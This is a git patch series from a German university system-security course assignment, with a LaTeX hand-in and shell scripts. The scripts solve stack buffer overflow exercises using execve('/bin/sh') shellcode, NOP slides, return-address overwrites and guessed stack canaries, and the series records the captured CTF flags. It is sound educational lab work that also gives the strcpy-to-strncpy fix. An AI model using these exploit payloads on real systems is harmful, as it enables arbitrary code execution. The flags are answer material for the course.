+\usepackage{pdfpages} +\usepackage[a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}]{geometry} +\usepackage{amsmath,amssymb,amstext,amsthm} +\usepackage[shortlabels]{enumitem} +\usepackage[headsepline]{scrlayer-scrpage} +\pagestyle{scrheadings} +\usepackage{titling} +\usepackage{etoolbox} +\usepackage{tikz} +\usepackage{multirow} +\usepackage{tabularx} + +\definecolor{keyword}{rgb}{0.0, 0.0, 1.0} +\definecolor{comment}{rgb}{0.5, 0.5, 0.5} +\definecolor{string}{rgb}{0.6, 0.1, 0.1} +\definecolor{background}{rgb}{0.95, 0.95, 0.95} + +\lstset{ + language=bash, + backgroundcolor=\color{background}, + basicstyle=\ttfamily\small, + keywordstyle=\color{keyword}\bfseries, + commentstyle=\color{comment}\itshape, + stringstyle=\color{string}, + tabsize=2, + showspaces=false, + showstringspaces=false, + frame=single, + numbers=left, + numberstyle=\tiny\color{gray}, + breaklines=true, + captionpos=b, + escapeinside={(*@}{@*)}, +} + +\usetikzlibrary{shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs} +\usetikzlibrary{matrix,shapes,arrows,positioning,chains, calc} +\usetikzlibrary{arrows.meta,matrix,shapes,arrows,positioning,chains, calc} + +\tikzset{% + initial text={}, + state/.style={circle, draw, minimum size=.6cm}, + every initial by arrow/.style={-stealth}, + every loop/.append style={-stealth}, + >=stealth +} + +\ohead{\parbox[t]{.5\linewidth}{\raggedleft \theauthor}} +\ihead{System Security, SoSe 24, Assignment \thesheetnr} + +% Sheet number +\newcounter{sheetnr} +\newcommand{\sheetnr}[1]{\setcounter{sheetnr}{#1}} + +% Exercise environments +\newenvironment{exercise}[2][]{\section*{#2\expandafter\ifstrempty\expandafter{#1}{}{\ #1}}}{} +\newenvironment{subexercises}{\begin{enumerate}[a), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} +\newenvironment{subsubexercises}{\begin{enumerate}[i), font=\bfseries, wide, labelindent=0pt]}{\end{enumerate}} + +% Makros +% MACRO for whole diagram +% #1: total width of diagram +% #2: total height of diagram +% #3: nodes, paths, ... +\newcommand\protocolflow[3]{ +\begin{center} +\begin{tikzpicture}[x=#1cm,y=#2cm] +#3 +\end{tikzpicture} +\end{center} +} +% MACRO for path line shortening +% #1: start coordinate +% #2: target coordinate +% #3: text above arrow +\newcommand{\package}[3]{ +\path[*-{latex[width=5pt, length=5pt]}] (#1) edge node [above] {#3} (#2); +} + +% Anpassen --> % +\author{Benjamin Haschka\\Sascha Tommasone\\Paul Zinselmeyer} +\sheetnr{6} +% <-- Anpassen % +\begin{document} + +\begin{exercise}[Smashing the Stack for Fun and Profit]{5} +\begin{subexercises} +\item Wenn das Programm mit dem Kommandozeilenargument \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht abgeändert.\\ +\begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| } + \hline + Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\ + \hline + &&?&?&?&? & ?&?&?&?\\ + \hline + Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\ + \hline + Return Address & 4 & ?&?&?&? & BA&B0&BA&B0\\ + \hline + Previous Frame Address & 4 & ?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&?&?&?&? & 'A'&'A'&'A'&'A'\\ + \hline + &&'E'&'F'&0&? & 'A'&'A'&'A'&'A'\\ + \hline + Local Variable padded\_password & 24 & 'A'&'B'&'C'&'D' & 'A'&'A'&'A'&'A'\\ + \hline + Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\ + \hline +\end{tabular} +\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt. + Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird. + +\item \lstinline{strcpy(3p)} berücksichtigt nicht die maximale Länge des Zielspeichers. + Die Funktion \lstinline{strncpy(3p} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird. + \lstinline{strncpy(3p} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus. + Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen. +\end{subexercises} +\end{exercise} + +\begin{exercise}[Stack-Based Buffer Overflow]{6} +\begin{subexercises} + \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird:\\ + \begin{lstlisting}[language=Bash] +#!/usr/bin/env sh + +# 28 Byte Shellcode +SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" +# Padding to fill: +# - 72 Bytes to fill buff +# - 8 Bytes to fill the local variables before buff +# - 4 Bytes to fill the saved ebp value +PADDING=$(printf "A%.0s" $(seq 1 84)) +# Address of the start of the buff array / shellcode +RETADDR="\x1C\xDB\xFF\xFF" + +printf $SHELLCODE$PADDING$RETADDR + \end{lstlisting} + \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell im Anschluss an eine NOP-Slide ausgeführt wird.:\\ + \begin{lstlisting}[language=Bash] +#!/usr/bin/env sh + +# 28 Byte Shellcode +SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" +# NOP-Slide to fill: +# - 72 Bytes to fill buff +# - 8 Bytes to fill the local variables before buff +# - 4 Bytes to fill the saved ebp value +PADDING=$(printf "\\\\0x90%.0s" $(seq 1 84)) +# Address of the start of the buff array / shellcode +RETADDR="\x1C\xDB\xFF\xFF" + +printf $PADDING$SHELLCODE$RETADDR + \end{lstlisting} +\end{subexercises} +\end{exercise} +\end{document} diff --git a/flake.nix b/flake.nix index cebe99d..77c3752 100644 --- a/flake.nix +++ b/flake.nix @@ -7,6 +7,7 @@ assignments = [ "Assignment 4 - Protokollsicherheit (Praxis)" "Assignment 5 - Software Security - Teil 1" + "Assignment 6 - Software Security - Teil 2" ]; forAllSystems = function: -- 2.46.0 From 61c2d83c034b66d1405d4a562796f2d3844a45fd Mon Sep 17 00:00:00 2001 From: Paul Zinselmeyer Date: Sun, 23 Jun 2024 12:20:33 +0200 Subject: [PATCH 09/16] [Assignment-6] Nachtrag Task 5 --- Assignment 6 - Software Security - Teil 2/abgabe.tex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex index d76bb29..0f0e3f7 100644 --- a/Assignment 6 - Software Security - Teil 2/abgabe.tex +++ b/Assignment 6 - Software Security - Teil 2/abgabe.tex @@ -104,7 +104,7 @@ \hline Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\ \hline - &&?&?&?&? & ?&?&?&?\\ + Vorheriger Stackframe&&?&?&?&? & ?&?&?&?\\ \hline Parameter password & 4 &BE&BA&FE&CA & 0&BA&FE&CA\\ \hline -- 2.46.0 From 459d71216ad2033b3b87ef59b8917356ded9104e Mon Sep 17 00:00:00 2001 From: Paul Zinselmeyer Date: Sun, 23 Jun 2024 13:04:20 +0200 Subject: [PATCH 10/16] [Assignment-6] Nachtrag Task 6 --- .../abgabe.tex | 27 +++++-------------- 1 file changed, 6 insertions(+), 21 deletions(-) diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex index 0f0e3f7..3b7abbe 100644 --- a/Assignment 6 - Software Security - Teil 2/abgabe.tex +++ b/Assignment 6 - Software Security - Teil 2/abgabe.tex @@ -139,38 +139,23 @@ \begin{exercise}[Stack-Based Buffer Overflow]{6} \begin{subexercises} - \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird:\\ +\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\ \begin{lstlisting}[language=Bash] #!/usr/bin/env sh -# 28 Byte Shellcode -SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" +# 21 Byte Shellcode +SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" # Padding to fill: -# - 72 Bytes to fill buff +# - 79 Bytes to fill buff # - 8 Bytes to fill the local variables before buff # - 4 Bytes to fill the saved ebp value -PADDING=$(printf "A%.0s" $(seq 1 84)) +PADDING=$(printf "A%.0s" $(seq 1 91)) # Address of the start of the buff array / shellcode RETADDR="\x1C\xDB\xFF\xFF" printf $SHELLCODE$PADDING$RETADDR \end{lstlisting} - \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell im Anschluss an eine NOP-Slide ausgeführt wird.:\\ - \begin{lstlisting}[language=Bash] -#!/usr/bin/env sh - -# 28 Byte Shellcode -SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" -# NOP-Slide to fill: -# - 72 Bytes to fill buff -# - 8 Bytes to fill the local variables before buff -# - 4 Bytes to fill the saved ebp value -PADDING=$(printf "\\\\0x90%.0s" $(seq 1 84)) -# Address of the start of the buff array / shellcode -RETADDR="\x1C\xDB\xFF\xFF" - -printf $PADDING$SHELLCODE$RETADDR - \end{lstlisting} + \item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\ \end{subexercises} \end{exercise} \end{document} -- 2.46.0 From 3f475f91f305d114e6ba2b5ef19b12584f4a9622 Mon Sep 17 00:00:00 2001 From: Paul Zinselmeyer Date: Sun, 23 Jun 2024 13:05:25 +0200 Subject: [PATCH 11/16] ci --- .gitea/workflows/build-latex.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.gitea/workflows/build-latex.yaml b/.gitea/workflows/build-latex.yaml index 397745a..18415f9 100644 --- a/.gitea/workflows/build-latex.yaml +++ b/.gitea/workflows/build-latex.yaml @@ -10,7 +10,8 @@ jobs: matrix: assignment: [ "Assignment 4 - Protokollsicherheit (Praxis)", - "Assignment 5 - Software Security - Teil 1" + "Assignment 5 - Software Security - Teil 1", + "Assignment 6 - Software Security - Teil 2" ] steps: - uses: actions/checkout@v3 -- 2.46.0 From fa4873f427c81aa98994c9fc9046c7d206388bd9 Mon Sep 17 00:00:00 2001 From: Paul Zinselmeyer Date: Sun, 23 Jun 2024 18:05:53 +0200 Subject: [PATCH 12/16] [Assignment-6] Task 6b solution.sh --- .../slide_rider/solution.sh | 24 ++++++++----------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh index 80fe801..4edbe83 100755 --- a/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh +++ b/Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh @@ -1,16 +1,12 @@ -#!/bin/bash +#!/usr/bin/env sh -# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/ +# slide for buffer size 20 + 2 bytes of saved ebp +SLIDE_1=$(printf "\\\\x90%.0s" $(seq 1 22)) +# jump over the ret addr +JMP_OVER_RET="\xeb\x04" +RET_ADDR="\x08\xdc\xff\xff" +# main nop slide (500 Bytes) +SLIDE_2=$(printf "\\\\x90%.0s" $(seq 1 500)) +SHELLCODE="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" -# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN} - -######### Exploit ######### -# Step 1: Fill the buffer with a candidate return address -printf "\x0c\xd6\xff\xff%.0s" {1..30} - -# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode -printf "\x90%.0s" {1..2000} - -# Step 3: Write the provided shellcode to stdout -printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" -########################### +printf $SLIDE_1$JMP_OVER_RET$RET_ADDR$SLIDE_2$SHELLCODE -- 2.46.0 From 8ab148a95f7106091fcfb898797c0a7b1a276e63 Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Sun, 23 Jun 2024 23:00:27 +0200 Subject: [PATCH 13/16] [Assignment-6] solution task 6 again (nop sliding) --- .../slide_rider/solution-sascha.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh diff --git a/Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh b/Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh new file mode 100644 index 0000000..80fe801 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/slide_rider/solution-sascha.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/ + +# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN} + +######### Exploit ######### +# Step 1: Fill the buffer with a candidate return address +printf "\x0c\xd6\xff\xff%.0s" {1..30} + +# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode +printf "\x90%.0s" {1..2000} + +# Step 3: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +########################### -- 2.46.0 From 731478bcdf4ffc61944aeff10197684560bc705c Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Sun, 23 Jun 2024 23:04:14 +0200 Subject: [PATCH 14/16] [Assignment-6] solution task 7 (stack canaries) --- .../fake_canary/solution.sh | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100755 Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh diff --git a/Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh b/Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh new file mode 100755 index 0000000..704a065 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/fake_canary/solution.sh @@ -0,0 +1,41 @@ +#!/bin/bash + +# flag{CANARY_IS_ALSO_AN_ISLAND} + +##### Exploit Creation Steps ##### +# Step 1: Locate address of 'int stack_canaries [10]' using gdb +# Command: disas owerflow +# -> 0x56559020 +################################## +# Step 2: Print all 10 possible stack canaries in gdb +# Command: x/10xw 0x56559020 +################################## +# Step 3: Select only those canaries that do not contain a null byte +################################## +# Step 4: Combine Slide Rider with the selected stack canaries +################################## + +############ Exploit ############## +# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate. +# Note: Only canaries without null bytes can be used due to the use of strcpy. +case $(( RANDOM % 3 )) in + 0) + printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70" + ;; + 1) + printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b" + ;; + 2) + printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08" + ;; +esac + +# Step 2: Fill the buffer with a candidate return address +printf "\x10\xd6\xff\xff%.0s" {1..30} + +# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode +printf "\x90%.0s" {1..2000} + +# Step 4: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" +################################### -- 2.46.0 From 4f86df92e15b0193745d3981dc1d54ab858ecda3 Mon Sep 17 00:00:00 2001 From: bmh04 <27549756+bmh-gh@users.noreply.github.com> Date: Mon, 24 Jun 2024 13:14:18 +0200 Subject: [PATCH 15/16] =?UTF-8?q?Rechtschreibung=20und=20Zeichensetzung=20?= =?UTF-8?q?=C3=BCben=20wir=20noch=20mal?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Assignment 6 - Software Security - Teil 2/abgabe.tex | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex index 3b7abbe..39cb061 100644 --- a/Assignment 6 - Software Security - Teil 2/abgabe.tex +++ b/Assignment 6 - Software Security - Teil 2/abgabe.tex @@ -99,7 +99,8 @@ \begin{exercise}[Smashing the Stack for Fun and Profit]{5} \begin{subexercises} -\item Wenn das Programm mit dem Kommandozeilenargument \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht abgeändert.\\ +\item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline{$(printf "AAAAAAAAAAAAAAAAAAAAAAAA\xBA\xB0\xBA\xB0")} aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert. + \begin{tabular}{ |c|c||c|c|c|c||c|c|c|c| } \hline Vorheriger Speicher & Größe & \multicolumn{4}{|c||}{Vorheriger Speicher} & \multicolumn{4}{|c|}{Vorheriger Speicher}\\ @@ -127,12 +128,12 @@ Freier Speicher & & \multicolumn{4}{|c||}{Freier Speicher} & \multicolumn{4}{|c|}{Freier Speicher}\\ \hline \end{tabular} -\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt. +\item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt. Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird. -\item \lstinline{strcpy(3p)} berücksichtigt nicht die maximale Länge des Zielspeichers. - Die Funktion \lstinline{strncpy(3p} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird. - \lstinline{strncpy(3p} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus. +\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3.html} berücksichtigt nicht die maximale Länge des Zielspeichers. + Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird. + \lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus. Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen. \end{subexercises} \end{exercise} -- 2.46.0 From be0436eb5906558ce894b490758b9acd5e6b213c Mon Sep 17 00:00:00 2001 From: bmh04 <27549756+bmh-gh@users.noreply.github.com> Date: Mon, 24 Jun 2024 13:31:58 +0200 Subject: [PATCH 16/16] [Assignment-6] fix wrong links in footnote --- Assignment 6 - Software Security - Teil 2/abgabe.tex | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex index 39cb061..89900b9 100644 --- a/Assignment 6 - Software Security - Teil 2/abgabe.tex +++ b/Assignment 6 - Software Security - Teil 2/abgabe.tex @@ -131,8 +131,8 @@ \item Mit dem Kommandozeilenargument \lstinline{$(printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80AAAAAAA\xEF\xBE\xDE\xC0")} wird der Shellcode in \\ \lstinline{padded_password} an Position \lstinline{0xC0DEBEEF} ausgeführt. Sollte sich \lstinline{padded_password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird. -\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3.html} berücksichtigt nicht die maximale Länge des Zielspeichers. - Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird. +\item \lstinline{strcpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers. + Die Funktion \\ \lstinline{strncpy(3p)}\footnote{https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird. \lstinline{strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus. Konkret muss in diesem Fall die Zeile 12 \lstinline{strcpy(padded_password, password);} durch \lstinline{strncpy(padded_password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen. \end{subexercises} -- 2.46.0